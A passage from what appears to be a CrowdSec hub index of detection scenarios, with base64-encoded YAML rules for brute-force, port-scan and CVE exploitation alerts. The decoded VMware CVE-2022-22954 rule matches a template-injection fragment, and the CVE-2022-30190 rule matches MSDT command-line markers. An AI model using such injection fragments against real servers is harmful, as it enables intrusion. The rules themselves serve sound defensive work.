"IyMgRGV0ZWN0IFN5bm9sb2d5IERTTSBicnV0ZWZvcmNlIGF0dGFjay4KCiMjIyBSdWxlCmxlYWtzcGVlZCBvZiAxMHMsIGNhcGFjaXR5IG9mIDUK", "content": "IyBTeW5vbG9neSBEU00gYXV0aC5sb2cgYnJ1dGVmb3JjZQp0eXBlOiBsZWFreQpuYW1lOiBjcm93ZHNlY3VyaXR5L3N5bm9sb2d5LWRzbS1iZgpkZXNjcmlwdGlvbjogIkRldGVjdCBTeW5vbG9neSBEU00gd2ViIGF1dGggYnJ1dGVmb3JjZSIKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ3N5bm9sb2d5LWRzbV9mYWlsZWRfYXV0aCciCmxlYWtzcGVlZDogIjEwcyIKY2FwYWNpdHk6IDUKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmJsYWNraG9sZTogMW0KcmVwcm9jZXNzOiB0cnVlCmxhYmVsczoKIHNlcnZpY2U6IHN5bm9sb2d5LWRzbQogdHlwZTogYnJ1dGVmb3JjZQogcmVtZWRpYXRpb246IHRydWUK", "description": "Detect Synology DSM web auth bruteforce", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "synology-dsm", "type": "bruteforce" } }, "crowdsecurity/teamspeak3-bf": { "path": "scenarios/crowdsecurity/teamspeak3-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "6a6f6a1c73fed4a1ccb9745e42614bc693b975f2eabb31b7c9ac2ede9568b166", "deprecated": false } }, "long_description": "IyMgRGV0ZWN0IHRlYW1zcGVhazMgYnJ1dGVmb3JjZSBhdHRhY2suCgojIyMgUnVsZQoKbGVha3NwZWVkIG9mIDEwcywgY2FwYWNpdHkgb2YgMgo=", "content": "dHlwZTogbGVha3kKbmFtZTogY3Jvd2RzZWN1cml0eS90ZWFtc3BlYWszLWJmCmRlc2NyaXB0aW9uOiAiZGV0ZWN0IHRlYW1zcGVhazMgc2VydmVyIGJydXRlZm9yY2UiCmZpbHRlcjogZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ3RzM19mYWlsX2F1dGgnCmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApjYXBhY2l0eTogMgpsZWFrc3BlZWQ6ICIxMHMiCmJsYWNraG9sZTogNW0KbGFiZWxzOgogc2VydmljZTogdGVhbXNwZWFrMwogdHlwZTogYnJ1dGVmb3JjZQogcmVtZWRpYXRpb246IHRydWUK", "description": "detect teamspeak3 server bruteforce", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "teamspeak3", "type": "bruteforce" } }, "crowdsecurity/telnet-bf": { "path": "scenarios/crowdsecurity/telnet-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "fd1769c247b352916a0400c33668b315a6d7a0ab8e672f339b00d9de2df71229", "deprecated": false } }, "long_description": "IyMgRGV0ZWN0IFRlbG5ldCBicnV0ZWZvcmNlIGF0dGFjay4KCiMjIyBSdWxlCmxlYWtzcGVlZCBvZiAxMHMsIGNhcGFjaXR5IG9mIDU=", "content": "dHlwZTogbGVha3kKbmFtZTogY3Jvd2RzZWN1cml0eS90ZWxuZXQtYmYKZGVzY3JpcHRpb246ICJkZXRlY3QgdGVsbmV0IGJydXRlZm9yY2UiCmZpbHRlcjogZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ3RlbG5ldF9uZXdfc2Vzc2lvbicKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmNhcGFjaXR5OiA1CmxlYWtzcGVlZDogIjEwcyIKYmxhY2tob2xlOiA1bQpsYWJlbHM6CiBzZXJ2aWNlOiB0ZWxuZXQKIHR5cGU6IGJydXRlZm9yY2UKIHJlbWVkaWF0aW9uOiB0cnVl", "description": "detect telnet bruteforce", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "telnet", "type": "bruteforce" } }, "crowdsecurity/thehive-bf": { "path": "scenarios/crowdsecurity/thehive-bf.yaml", "version": "0.2", "versions": { "0.1": { "digest": "6a8e5ab92bdc2087dffb2702d9990a7c974654ce88db63a3b7f4a40b3af75790", "deprecated": false }, "0.2": { "digest": "a082bd5622ebf06280de10cdd126699b8d53f8ca002085e4113d3ea174597e9a", "deprecated": false } }, "long_description": "RGV0ZWN0IGZhaWxlZCBUaGVoaXZlIGF1dGhlbnRpY2F0aW9uczoKCiAtIGxlYWtzcGVlZCBvZiAxMHMsIGNhcGFjaXR5IG9mIDUgZnJvbSBzYW1lIElQ", "content": "dHlwZTogbGVha3kKZGVidWc6IGZhbHNlCm5hbWU6IGNyb3dkc2VjdXJpdHkvdGhlaGl2ZS1iZgpkZXNjcmlwdGlvbjogIkRldGVjdCBicnV0ZWZvcmNlIG9uIFRoZWhpdmUgd2ViIGludGVyZmFjZSIKZmlsdGVyOiBldnQuTWV0YS5sb2dfdHlwZSA9PSAndGhlaGl2ZV9mYWlsZWRfYXV0aCcKbGVha3NwZWVkOiAiMTBzIgpjYXBhY2l0eTogNQpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKYmxhY2tob2xlOiA1bQpsYWJlbHM6CiBzZXJ2aWNlOiB0aGVoaXZlCiB0eXBlOiBicnV0ZWZvcmNlCiByZW1lZGlhdGlvbjogdHJ1ZQ==", "description": "Detect bruteforce on Thehive web interface", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "thehive", "type": "bruteforce" } }, "crowdsecurity/thinkphp-cve-2018-20062": { "path": "scenarios/crowdsecurity/thinkphp-cve-2018-20062.yaml", "version": "0.3", "versions": { "0.1": { "digest": "bf76bbd0e78be17642a4ea0d8c080ae72b43075fa74ba77990aac602285c1857", "deprecated": false }, "0.2": { "digest": "abb7a26fc4cd630c545738b3cf43d36439526eec9c5a25668f434c1cf9f0320b", "deprecated": false }, "0.3": { "digest": "1cc85df2f1e642e83ec20e0197777795b82ff076842c6b169a8a7b1e4687de3a", "deprecated": false } }, "content": "dHlwZTogdHJpZ2dlcgpmb3JtYXQ6IDIuMAojZGVidWc6IHRydWUKbmFtZTogY3Jvd2RzZWN1cml0eS90aGlua3BocC1jdmUtMjAxOC0yMDA2MgpkZXNjcmlwdGlvbjogIkRldGVjdCBUaGlua1BIUCBDVkUtMjAxOC0yMDA2MiBleHBsb2l0YXRpb24gYXR0ZW1wcyIKZmlsdGVyOiB8CiAgZXZ0Lk1ldGEubG9nX3R5cGUgaW4gWyJodHRwX2FjY2Vzcy1sb2ciLCAiaHR0cF9lcnJvci1sb2ciXSBhbmQgYW55KEZpbGUoInRoaW5rcGhwX2N2ZV8yMDE4LTIwMDYyLnR4dCIpLCB7VXBwZXIoZXZ0Lk1ldGEuaHR0cF9wYXRoKSBtYXRjaGVzIFVwcGVyKCMpfSkKZGF0YToKICAtIHNvdXJjZV91cmw6IGh0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9jcm93ZHNlY3VyaXR5L3NlYy1saXN0cy9tYXN0ZXIvd2ViL3RoaW5rcGhwX2N2ZV8yMDE4LTIwMDYyLnR4dAogICAgZGVzdF9maWxlOiB0aGlua3BocF9jdmVfMjAxOC0yMDA2Mi50eHQKICAgIHR5cGU6IHN0cmluZwpncm91cGJ5OiAiZXZ0Lk1ldGEuc291cmNlX2lwIgpibGFja2hvbGU6IDJtCmxhYmVsczoKICB0eXBlOiBleHBsb2l0CiAgcmVtZWRpYXRpb246IHRydWUK", "description": "Detect ThinkPHP CVE-2018-20062 exploitation attemps", "author": "crowdsecurity", "labels": { "remediation": "true", "type": "exploit" } }, "crowdsecurity/vmware-cve-2022-22954": { "path": "scenarios/crowdsecurity/vmware-cve-2022-22954.yaml", "version": "0.2", "versions": { "0.1": { "digest": "a5d994d73edec1ea334d09cd057193163a32527797f9556774f167bda1593616", "deprecated": false }, "0.2": { "digest": "d26a37b84b843dba6a0266d54f754438b875fa8bc62de6ddd7d9d2d5d1eba07c", "deprecated": false } }, "long_description": "RGV0ZWN0IGV4cGxvaXRhdGlvbiBvZiBWbXdhcmUgQ1ZFLTIwMjItMjI5NTQKClJlZjogaHR0cHM6Ly93d3cudm13YXJlLmNvbS9zZWN1cml0eS9hZHZpc29yaWVzL1ZNU0EtMjAyMi0wMDExLmh0bWwKUG9jOiBodHRwczovL2dpdGh1Yi5jb20vc2hlcmxvY2tzZWN1cml0eS9WTXdhcmUtQ1ZFLTIwMjItMjI5NTQ=", "content": "dHlwZTogdHJpZ2dlcgpmb3JtYXQ6IDIuMApuYW1lOiBjcm93ZHNlY3VyaXR5L3Ztd2FyZS1jdmUtMjAyMi0yMjk1NApkZXNjcmlwdGlvbjogIkRldGVjdCBWbXdhcmUgQ1ZFLTIwMjItMjI5NTQgZXhwbG9pdGF0aW9uIGF0dGVtcHRzIgpmaWx0ZXI6IHwKICBldnQuTWV0YS5sb2dfdHlwZSBpbiBbJ2h0dHBfYWNjZXNzLWxvZycsICdodHRwX2Vycm9yLWxvZyddICYmIFVwcGVyKFF1ZXJ5VW5lc2NhcGUoZXZ0Lk1ldGEuaHR0cF9wYXRoKSkgc3RhcnRzV2l0aCBVcHBlcignL2NhdGFsb2ctcG9ydGFsL3VpL29hdXRoL3ZlcmlmeT9lcnJvcj0mZGV2aWNlVWRpZD0keyJmcmVlbWFya2VyLnRlbXBsYXRlLnV0aWxpdHkuRXhlY3V0ZSI/bmV3KCkoJykKZ3JvdXBieTogImV2dC5NZXRhLnNvdXJjZV9pcCIKYmxhY2tob2xlOiAybQpsYWJlbHM6CiAgdHlwZTogZXhwbG9pdAogIHJlbWVkaWF0aW9uOiB0cnVlCg==", "description": "Detect Vmware CVE-2022-22954 exploitation attempts", "author": "crowdsecurity", "labels": { "remediation": "true", "type": "exploit" } }, "crowdsecurity/vmware-vcenter-vmsa-2021-0027": { "path": "scenarios/crowdsecurity/vmware-vcenter-vmsa-2021-0027.yaml", "version": "0.1", "versions": { "0.1": { "digest": "4d497542fa056c82b0089b7849ce686544b8ae9775f6dffddd6ac5074ec5964b", "deprecated": false } }, "long_description": "RGV0ZWN0IGV4cGxvaXRhdGlvbiBvZiBWTVNBLTIwMjEtMDAyNwoKUmVmOiBodHRwczovL3d3dy52bXdhcmUuY29tL3NlY3VyaXR5L2Fkdmlzb3JpZXMvVk1TQS0yMDIxLTAwMjcuaHRtbAo=", "content": "dHlwZTogdHJpZ2dlcgpmb3JtYXQ6IDIuMApuYW1lOiBjcm93ZHNlY3VyaXR5L3Ztd2FyZS12Y2VudGVyLXZtc2EtMjAyMS0wMDI3CmRlc2NyaXB0aW9uOiAiRGV0ZWN0IFZNU0EtMjAyMS0wMDI3IGV4cGxvaXRhdGlvbiBhdHRlbXBzIgpmaWx0ZXI6IHwKICBldnQuTWV0YS5sb2dfdHlwZSBpbiBbJ2h0dHBfYWNjZXNzLWxvZycsICdodHRwX2Vycm9yLWxvZyddICYmIGV2dC5NZXRhLmh0dHBfcGF0aCBtYXRjaGVzICcvdWkvdmNhdi1ib290c3RyYXAvcmVzdC92Y2F2LXByb3ZpZGVycy9wcm92aWRlci1sb2dvXFw/dXJsPShmaWxlfGh0dHApJwpncm91cGJ5OiAiZXZ0Lk1ldGEuc291cmNlX2lwIgpibGFja2hvbGU6IDJtCmxhYmVsczoKICB0eXBlOiBleHBsb2l0CiAgcmVtZWRpYXRpb246IHRydWUK", "description": "Detect VMSA-2021-0027 exploitation attemps", "author": "crowdsecurity", "labels": { "remediation": "true", "type": "exploit" } }, "crowdsecurity/vsftpd-bf": { "path": "scenarios/crowdsecurity/vsftpd-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "3591247988014705cf3a7e42388f0c87f9b86d3141268d996c5820ceab6364e1", "deprecated": false } }, "long_description": "IyMgRGV0ZWN0IEZUUCBicnV0ZWZvcmNlIGF0dGFjay4KCiMjIyBSdWxlCmxlYWtzcGVlZCBvZiAxMHMsIGNhcGFjaXR5IG9mIDU=", "content": "dHlwZTogbGVha3kKI2RlYnVnOiB0cnVlCm5hbWU6IGNyb3dkc2VjdXJpdHkvdnNmdHBkLWJmCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IEZUUCBicnV0ZWZvcmNlICh2c2Z0cGQpIgpmaWx0ZXI6IGV2dC5NZXRhLmxvZ190eXBlID09ICdmdHBfZmFpbGVkX2F1dGgnCmxlYWtzcGVlZDogIjEwcyIKY2FwYWNpdHk6IDUKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmJsYWNraG9sZTogNW0KbGFiZWxzOgogc2VydmljZTogZnRwCiB0eXBlOiBicnV0ZWZvcmNlCiByZW1lZGlhdGlvbjogdHJ1ZQ==", "description": "Detect FTP bruteforce (vsftpd)", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "ftp", "type": "bruteforce" } }, "crowdsecurity/windows-CVE-2022-30190-msdt": { "path": "scenarios/crowdsecurity/windows-CVE-2022-30190-msdt.yaml", "version": "0.1", "versions": { "0.1": { "digest": "6cac369ca1553245cf9a837275492822387a43a0a4f138560dfdda208def1103", "deprecated": false } }, "long_description": "VGhpcyBzY2VuYXJpbyBkZXRlY3RzIHNvbWUgYXR0ZW1wdHMgYXQgZXhwbG9pdGluZyBbQ1ZFLTIwMjItMzAxOTBdKGh0dHBzOi8vbXNyYy1ibG9nLm1pY3Jvc29mdC5jb20vMjAyMi8wNS8zMC9ndWlkYW5jZS1mb3ItY3ZlLTIwMjItMzAxOTAtbWljcm9zb2Z0LXN1cHBvcnQtZGlhZ25vc3RpYy10b29sLXZ1bG5lcmFiaWxpdHkvKSBvbiBXaW5kb3dzLgoKSXQgZG9lcyBzbyBieSBwYXJzaW5nIHN5c21vbiBsb2dzLCBtb3JlIHNwZWNpZmljYWxseSB0aGUgb25lIHdpdGggZXZlbnQgSUQgMSAocHJvY2VzcyBjcmVhdGlvbikuCgpUaGlzIG1lYW5zIHRoYXQgeW91IG5lZWQgYSB3b3JraW5nIHN5c21vbiBpbnN0YWxsYXRpb24gdG8gYmUgYWJsZSB0byB1c2UgdGhpcyBzY2VuYXJpby4g", "content": "dHlwZTogdHJpZ2dlcgpuYW1lOiBjcm93ZHNlY3VyaXR5L0NWRS0yMDIyLTMwMTkwLW1zZHQKZGVzY3JpcHRpb246ICJEZXRlY3QgQ1ZFLTIwMjItMzAxOTAgZnJvbSBzeXNtb24gZXZlbnRzIgpmaWx0ZXI6IHwKICBldnQuTWV0YS5zZXJ2aWNlID09ICdzeXNtb24nICYmIGV2dC5QYXJzZWQuRXZlbnRJRCA9PSAnMScgJiYgCiAgVXBwZXIoZXZ0LlBhcnNlZC5JbWFnZSkgZW5kc1dpdGggJ01TRFQuRVhFJyAmJiAKICBVcHBlcihldnQuUGFyc2VkLlBhcmVudEltYWdlKSBlbmRzV2l0aCAnV0lOV09SRC5FWEUnICYmCiAgKFVwcGVyKGV2dC5QYXJzZWQuQ29tbWFuZExpbmUpIGNvbnRhaW5zICdQQ1dESUFHTk9TVElDJyAmJiBVcHBlcihldnQuUGFyc2VkLkNvbW1hbmRMaW5lKSBjb250YWlucyAnSVRfUkVCUk9XU0VGT1JGSUxFJyAmJiBVcHBlcihldnQuUGFyc2VkLkNvbW1hbmRMaW5lKSBjb250YWlucyAnSVRfQlJPV1NFRk9SRklMRScpCmxhYmVsczoKIHR5cGU6IHJjZQogbm90aWZpY2F0aW9uOiB0cnVlCiBvczogd2luZG93cwpzY29wZToKICB0eXBlOiB1c2VyX2FjY291bnQKICBleHByZXNzaW9uOiBldnQuUGFyc2VkLlVzZXIK", "description": "Detect CVE-2022-30190 from sysmon events", "author": "crowdsecurity", "labels": { "notification": "true", "os": "windows", "type": "rce" } }, "crowdsecurity/windows-bf": { "path": "scenarios/crowdsecurity/windows-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "8bab4995597e6a72e87131cd681ed6023c90cc805c3ee824bfbce1725e67fdd8", "deprecated": false } }, "long_description": "RGV0ZWN0cyBCRiBhZ2FpbnN0IHNlcnZpY2VzIHVzaW5nIHdpbmRvd3MgYXV0aGVudGljYXRpb24gKFJEUCwgU01CLCBPV0EsIC4uLikuCgpCdWNrZXRzIGhhdmUgYSBjYXBhY2l0eSBvZiA1IGFuZCBhIGxlYWtzcGVlZCBvZiAxMHMu", "content": "IyB3aW5kb3dzIGF1dGggYnJ1dGVmb3JjZQp0eXBlOiBsZWFreQpuYW1lOiBjcm93ZHNlY3VyaXR5L3dpbmRvd3MtYmYKZGVzY3JpcHRpb246ICJEZXRlY3Qgd2luZG93cyBhdXRoIGJydXRlZm9yY2UiCmZpbHRlcjogImV2dC5NZXRhLmxvZ190eXBlID09ICd3aW5kb3dzX2ZhaWxlZF9hdXRoJyIKbGVha3NwZWVkOiAiMTBzIgpjYXBhY2l0eTogNQpncm91cGJ5OiBldnQuTWV0YS5zb3VyY2VfaXAKYmxhY2tob2xlOiAxbQpyZXByb2Nlc3M6IHRydWUKbGFiZWxzOgogc2VydmljZTogd2luZG93cwogdHlwZTogYnJ1dGVmb3JjZQogcmVtZWRpYXRpb246IHRydWUK", "description": "Detect windows auth bruteforce", "author": "crowdsecurity", "labels": { "remediation": "true", "service": "windows", "type": "bruteforce" } }, "firewallservices/lemonldap-ng-bf": { "path": "scenarios/firewallservices/lemonldap-ng-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "92ffa388cc0c79431a9014d6a384a84e7571d5e3445ff60d29792eb5d36307da", "deprecated": false } }, "long_description": "RGV0ZWN0IGZhaWxlZCBMZW1vbmxkYXA6Ok5HIGF1dGhlbnRpY2F0aW9ucyA6CgogLSBsZWFrc3BlZWQgb2YgMzBzLCBjYXBhY2l0eSBvZiA1IG9uIHNhbWUgdGFyZ2V0IHVzZXIKIC0gbGVha3NwZWVkIG9mIDJtLCBjYXBhY2l0eSBvZiA1IHVuaXF1ZSBkaXN0aW5jdCB1c2Vycwo=", "content": "IyBMZW1vbmxkYXA6Ok5HIGJydXRmb3JjZQp0eXBlOiBsZWFreQojZGVidWc6IHRydWUKbmFtZTogZmlyZXdhbGxzZXJ2aWNlcy9sZW1vbmxkYXAtbmctYmYKZGVzY3JpcHRpb246ICJEZXRlY3QgTGVtb25sZGFwOjpORyBicnV0ZWZvcmNlIgpmaWx0ZXI6IGV2dC5NZXRhLnNlcnZpY2UgPT0gJ2xsbmcnIGFuZCBldnQuTWV0YS5sb2dfdHlwZSA9PSAnbGxuZ19hdXRoX2ZhaWwnCmxlYWtzcGVlZDogMzBzCmNhcGFjaXR5OiA1Cmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApibGFja2hvbGU6IDFtCnJlcHJvY2VzczogdHJ1ZQpsYWJlbHM6CiAgc2VydmljZTogbGxuZwogIHR5cGU6IGJydXRlZm9yY2UKICByZW1lZGlhdGlvbjogdHJ1ZQotLS0KIyBMZW1vbmxkYXA6Ok5HIHVzZXIgZW51bWVyYXRpb24KdHlwZTogbGVha3kKI2RlYnVnOiB0cnVlCm5hbWU6IGZpcmV3YWxsc2VydmljZXMvbGVtb25sZGFwLW5nLXVzZXItZW51bQpkZXNjcmlwdGlvbjogIkRldGVjdCBMZW1vbmxkYXA6Ok5HIHVzZXIgZW51bSBicnV0ZWZvcmNlIgpmaWx0ZXI6IGV2dC5NZXRhLnNlcnZpY2UgPT0gJ2xsbmcnIGFuZCBldnQuTWV0YS5sb2dfdHlwZSA9PSAnbGxuZ19hdXRoX2ZhaWwnCmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApkaXN0aW5jdDogZXZ0Lk1ldGEudXNlcgpsZWFrc3BlZWQ6IDJtCmNhcGFjaXR5OiA1CmJsYWNraG9sZTogMW0KbGFiZWxzOgogIHNlcnZpY2U6IGxsbmcKICB0eXBlOiBicnV0ZWZvcmNlCiAgcmVtZWRpYXRpb246IHRydWUKCg==", "description": "Detect Lemonldap::NG bruteforce", "author": "firewallservices", "labels": { "remediation": "true", "service": "llng", "type": "bruteforce" } }, "firewallservices/pf-scan-multi_ports": { "path": "scenarios/firewallservices/pf-scan-multi_ports.yaml", "version": "0.1", "versions": { "0.1": { "digest": "d650a9e64532d14a46dcf5bfc952b0a0eb1825efdb07a179069d9c7f8f185d78", "deprecated": false } }, "long_description": "RGV0ZWN0cyBhIHBvcnQgc2NhbiA6IGRldGVjdHMgaWYgYSBzaW5nbGUgSVAgYXR0ZW1wdHMgY29ubmVjdGlvbiB0byBtYW55IGRpZmZlcmVudCBwb3J0cy4KCkxlYWtzcGVlZCBvZiA1cywgY2FwYWNpdHkgb2YgMTUuCg==", "content": "dHlwZTogbGVha3kKbmFtZTogZmlyZXdhbGxzZXJ2aWNlcy9wZi1zY2FuLW11bHRpX3BvcnRzCmRlc2NyaXB0aW9uOiAiYmFuIElQcyB0aGF0IGFyZSBzY2FubmluZyB1cyIKZmlsdGVyOiAiZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ3BmX2Ryb3AnICYmIGV2dC5NZXRhLnNlcnZpY2UgPT0gJ3RjcCciCmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApkaXN0aW5jdDogZXZ0LlBhcnNlZC5kc3RfcG9ydApjYXBhY2l0eTogMTUKbGVha3NwZWVkOiA1cwpibGFja2hvbGU6IDFtCmxhYmVsczoKICBzZXJ2aWNlOiB0Y3AKICB0eXBlOiBzY2FuCiAgcmVtZWRpYXRpb246IHRydWUK", "description": "ban IPs that are scanning us", "author": "firewallservices", "labels": { "remediation": "true", "service": "tcp", "type": "scan" } }, "firewallservices/zimbra-bf": { "path": "scenarios/firewallservices/zimbra-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "20cd0d65ecb94e81c785bbc8117d3cf12333bf0b32f600d14949be7ce21f3a4c", "deprecated": false } }, "long_description": "RGV0ZWN0IHZhcmlvdXMgYXV0aGVudGljYXRpb24gZmFpbHVyZXMgb24gWmltYnJhCi0gT24gdGhlIHdlYiBsb2dpbiBwYWdlCi0gT24gdGhlIFNNVFAgc2VydmVyIChTTVRQUyBhbmQgU1VCTUlTU0lPTikKLSBPbiB0aGUgSU1BUCBzZXJ2ZXIKClRoaXMgc2NlbmFyaW8gdXNlcyB0d28gbGVha3kgYnVja2V0czoKLSBsZWFrc3BlZWQgb2YgMzBzLCBjYXBhY2l0eSBvZiA1IChwZXIgY2xpZW50IElQKQotIGxlYWtzcGVlZCBvZiAybSwgY2FwYWNpdHkgb2YgNSwgb24gdW5pcSB0YXJnZXQgdXNlciAocGVyIGNsaWVudCBJUCkK", "content": "IyBaaW1icmEgYnJ1dGZvcmNlCnR5cGU6IGxlYWt5CiNkZWJ1ZzogdHJ1ZQpuYW1lOiBmaXJld2FsbHNlcnZpY2VzL3ppbWJyYS1iZgpkZXNjcmlwdGlvbjogIkRldGVjdCBaaW1icmEgYnJ1dGVmb3JjZSIKZmlsdGVyOiBldnQuTWV0YS5sb2dfdHlwZSA9PSAnemltYnJhX2F1dGhfZmFpbCcKbGVha3NwZWVkOiAzMHMKY2FwYWNpdHk6IDUKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmJsYWNraG9sZTogMW0KcmVwcm9jZXNzOiB0cnVlCmxhYmVsczoKICBzZXJ2aWNlOiB6aW1icmEKICB0eXBlOiBicnV0ZWZvcmNlCiAgcmVtZWRpYXRpb246IHRydWUKLS0tCiMgWmltYnJhIHVzZXIgZW51bWVyYXRpb24KdHlwZTogbGVha3kKI2RlYnVnOiB0cnVlCm5hbWU6IGZpcmV3YWxsc2VydmljZXMvemltYnJhLXVzZXItZW51bQpkZXNjcmlwdGlvbjogIkRldGVjdCBaaW1icmEgdXNlciBlbnVtIGJydXRlZm9yY2UiCmZpbHRlcjogZXZ0Lk1ldGEubG9nX3R5cGUgPT0gJ3ppbWJyYV9hdXRoX2ZhaWwnCmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApkaXN0aW5jdDogZXZ0Lk1ldGEudXNlcgpsZWFrc3BlZWQ6IDJtCmNhcGFjaXR5OiA1CmJsYWNraG9sZTogMW0KbGFiZWxzOgogIHNlcnZpY2U6IHppbWJyYQogIHR5cGU6IGJydXRlZm9yY2UKICByZW1lZGlhdGlvbjogdHJ1ZQoK", "description": "Detect Zimbra bruteforce", "author": "firewallservices", "labels": { "remediation": "true", "service": "zimbra", "type": "bruteforce" } }, "fulljackz/proxmox-bf": { "path": "scenarios/fulljackz/proxmox-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "0e9371bccf18fdd2195b68c9506182d0958ef4e8a31289d34106fda4b58ccd17", "deprecated": false } }, "long_description": "RGV0ZWN0IGZhaWxlZCBwcm94bW94IGF1dGhlbnRpY2F0aW9ucyA6CgogLSBsZWFrc3BlZWQgb2YgMTBzLCBjYXBhY2l0eSBvZiA1IG9uIHNhbWUgdGFyZ2V0IHVzZXIKIC0gbGVha3NwZWVkIG9mIDEwcywgY2FwYWNpdHkgb2YgNSB1bmlxdWUgZGlzdGluY3QgdXNlcnMK", "content": "IyBQcm94bW94IGF1dGhlbnQgYnJ1dGVmb3JjZQp0eXBlOiBsZWFreQpuYW1lOiBmdWxsamFja3ovcHJveG1veC1iZgpkZXNjcmlwdGlvbjogIkRldGVjdCBwcm94bW94IGJydXRlZm9yY2UiCmZpbHRlcjogImV2dC5NZXRhLmxvZ190eXBlID09ICdwdmVfZmFpbGVkLWF1dGgnIgpsZWFrc3BlZWQ6ICIxMHMiCmNhcGFjaXR5OiA1Cmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApibGFja2hvbGU6IDFtCnJlcHJvY2VzczogdHJ1ZQpsYWJlbHM6CiBzZXJ2aWNlOiBwdmVkYWVtb24KIHR5cGU6IGJydXRlZm9yY2UKIHJlbWVkaWF0aW9uOiB0cnVlCi0tLQojIFByb3htb3ggYmFkIHVzZXIKdHlwZTogbGVha3kKbmFtZTogZnVsbGphY2t6L3Byb3htb3gtYmYtdXNlci1lbnVtCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IHByb3htb3ggd3JvbmcgdXNlcm5hbWUiCmZpbHRlcjogImV2dC5NZXRhLmxvZ190eXBlID09ICdwdmVfZmFpbGVkLWF1dGgnIgpsZWFrc3BlZWQ6ICIxMHMiCmNhcGFjaXR5OiA1Cmdyb3VwYnk6IGV2dC5NZXRhLnNvdXJjZV9pcApkaXN0aW5jdDogZXZ0Lk1ldGEuc291cmNlX3VzZXIKYmxhY2tob2xlOiAxbQpyZXByb2Nlc3M6IHRydWUKbGFiZWxzOgogc2VydmljZTogcHZlZGFlbW9uCiB0eXBlOiBicnV0ZWZvcmNlCiByZW1lZGlhdGlvbjogdHJ1ZQo=", "description": "Detect proxmox bruteforce", "author": "fulljackz", "labels": { "remediation": "true", "service": "pvedaemon", "type": "bruteforce" } }, "fulljackz/pureftpd-bf": { "path": "scenarios/fulljackz/pureftpd-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "b3d2ff52ddeff8e7bc547565b7d797c7420f4f5dc4cd00181f4a2be28dd56be7", "deprecated": false } }, "content": "IyBQdXJlZnRwZCBhdXRoZW50IGJydXRlZm9yY2UKdHlwZTogbGVha3kKbmFtZTogZnVsbGphY2t6L3B1cmVmdHBkLWJmCmRlc2NyaXB0aW9uOiAiRGV0ZWN0IHB1cmVmdHBkIGJydXRlZm9yY2UiCmZpbHRlcjogImV2dC5NZXRhLmxvZ190eXBlID09ICdwZnRwZF9mYWlsZWQtYXV0aCciCmxlYWtzcGVlZDogIjEwcyIKY2FwYWNpdHk6IDUKZ3JvdXBieTogZXZ0Lk1ldGEuc291cmNlX2lwCmJsYWNraG9sZTogMW0KcmVwcm9jZXNzOiB0cnVlCmxhYmVsczoKIHNlcnZpY2U6ICdwdXJlZnRwZCcKIHR5cGU6IGJydXRlZm9yY2UKIHJlbWVkaWF0aW9uOiB0cnVlCg==", "description": "Detect pureftpd bruteforce", "author": "fulljackz", "labels": { "remediation": "true", "service": "pureftpd", "type": "bruteforce" } }, "hitech95/mail-generic-bf": { "path": "scenarios/hitech95/mail-generic-bf.yaml", "version": "0.1", "versions": { "0.1": { "digest": "f4dd689cd76dbad62fc1188d106ee58d67e9637398e25f1ee6c4dd56039491c1", "deprecated": false } }, "long_description": "QWxlcnQgd2hlbiBhIHNpbmdsZSBJUCB0aGF0IHRyeSB0byBicnV0ZWZvcmNlIGVtYWlsIChTTVRQLCBJTUFQLCBQT1ApIGF1dGguCgogLSBsZWFrc3BlZWQgb2YgMTBzLCBjYXBhY2l0eSBvZiA1IG9uIHNhbWUgaXAKIC0gbGVha3NwZWVkIG9mIDMwcywgY2FwYWNpdHkgb2YgMyBvbiBzYW1lIHRhcmdldCB1c2VyCg==", "content": 